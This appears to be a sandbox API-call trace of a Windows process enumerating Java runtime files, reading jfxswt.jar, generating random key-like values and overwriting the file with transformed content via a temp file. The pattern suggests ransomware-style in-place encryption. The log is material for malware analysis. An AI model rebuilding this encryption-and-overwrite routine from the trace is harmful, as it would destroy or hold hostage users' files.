	[0268.951] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61)) returned 1
	[0268.952] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0268.952] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5)) returned 1
	[0268.952] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.952] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.952] VirtualAlloc (lpAddress=0xc000230000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000230000
	[0268.952] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c)) returned 1
	[0268.976] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.976] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80)) returned 1
	[0268.976] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.976] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0268.977] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0268.977] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0268.977] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0268.977] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfbf4 | out: lpMode=0xc0000bfbf4) returned 0
	[0268.977] GetFileType (hFile=0x1b0) returned 0x1
	[0268.977] GetFileType (hFile=0x1b0) returned 0x1
	[0268.977] GetFileInformationByHandle (in: hFile=0x1b0, lpFileInformation=0xc0000bfc44 | out: lpFileInformation=0xc0000bfc44) returned 1
	[0268.977] GetFileInformationByHandleEx (in: hFile=0x1b0, FileInformationClass=0x9, lpFileInformation=0xc0000bfc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bfc28) returned 1
	[0268.977] VirtualAlloc (lpAddress=0xc00032e000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00032e000
	[0268.979] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00032e000, nNumberOfBytesToRead=0x868c, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc00032e000*, lpNumberOfBytesRead=0xc0000bfb04*=0x848c, lpOverlapped=0x0) returned 1
	[0269.041] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00033648c, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc00033648c*, lpNumberOfBytesRead=0xc0000bfb04*=0x0, lpOverlapped=0x0) returned 1
	[0269.041] CloseHandle (hObject=0x1b0) returned 1
	[0269.041] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0600 | out: pbBuffer=0xc0000c0600) returned 1
	[0269.041] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c460 | out: pbBuffer=0xc00028c460) returned 1
	[0269.041] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8a01 | out: pbBuffer=0xc0002a8a01) returned 1
	[0269.041] VirtualAlloc (lpAddress=0xc000238000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000238000
	[0269.042] VirtualAlloc (lpAddress=0xc000352000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000352000
	[0269.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e8aeed6468ce868b60a79947f1e729af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e8aeed6468ce868b60a79947f1e729af"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0
	[0269.043] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfc04 | out: lpMode=0xc0000bfc04) returned 0
	[0269.043] GetFileType (hFile=0x1b0) returned 0x1
	[0269.043] WriteFile (in: hFile=0x1b0, lpBuffer=0xc000352000*, nNumberOfBytesToWrite=0x858c, lpNumberOfBytesWritten=0xc0000bfbec, lpOverlapped=0x0 | out: lpBuffer=0xc000352000*, lpNumberOfBytesWritten=0xc0000bfbec*=0x858c, lpOverlapped=0x0) returned 1
	[0269.044] CloseHandle (hObject=0x1b0) returned 1
	[0269.046] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0
	[0269.047] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0269.047] GetFileType (hFile=0x1b0) returned 0x1
	[0269.047] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e8aeed6468ce868b60a79947f1e729af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e8aeed6468ce868b60a79947f1e729af"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0269.047] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0269.047] GetFileType (hFile=0x1b4) returned 0x1
	[0269.048] VirtualAlloc (lpAddress=0xc000348000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000348000
	[0269.048] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000348000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000348000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.048] WriteFile (in: hFile=0x1b0, lpBuffer=0xc000348000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000348000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.050] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000348000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000348000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x58c, lpOverlapped=0x0) returned 1
	[0269.050] WriteFile (in: hFile=0x1b0, lpBuffer=0xc000348000*, nNumberOfBytesToWrite=0x58c, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000348000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x58c, lpOverlapped=0x0) returned 1
	[0269.050] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000348000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000348000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x0, lpOverlapped=0x0) returned 1
	[0269.050] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e8aeed6468ce868b60a79947f1e729af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e8aeed6468ce868b60a79947f1e729af")) returned 0
	[0269.050] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e8aeed6468ce868b60a79947f1e729af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e8aeed6468ce868b60a79947f1e729af")) returned 0
	[0269.050] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e8aeed6468ce868b60a79947f1e729af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e8aeed6468ce868b60a79947f1e729af")) returned 0x20
	[0269.050] CloseHandle (hObject=0x1b4) returned 1
	[0269.050] CloseHandle (hObject=0x1b0) returned 1
	[0269.051] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e8aeed6468ce868b60a79947f1e729af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e8aeed6468ce868b60a79947f1e729af")) returned 1
	[0269.052] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082)) returned 1
	[0269.053] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.053] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.053] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997)) returned 1
	[0269.053] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.053] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0269.053] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0269.183] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0269.183] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1
	[0269.183] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1
	[0269.183] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1
	[0269.183] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1
	[0269.183] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0269.183] VirtualAlloc (lpAddress=0xc000364000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000364000
	[0269.184] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0269.185] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.185] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e)) returned 1
	[0269.239] SetEvent (hEvent=0x124) returned 1
	[0269.239] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0269.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28)) returned 1
	[0269.244] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0269.244] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926)) returned 1
	[0269.245] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0269.245] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30)) returned 1
	[0269.246] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0269.246] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d)) returned 1
	[0269.247] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.247] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.247] SetEvent (hEvent=0xfc) returned 1
	[0269.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e)) returned 1
	[0269.247] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.247] VirtualAlloc (lpAddress=0xc000296000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000296000
	[0269.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170)) returned 1
	[0269.248] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.248] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b)) returned 1
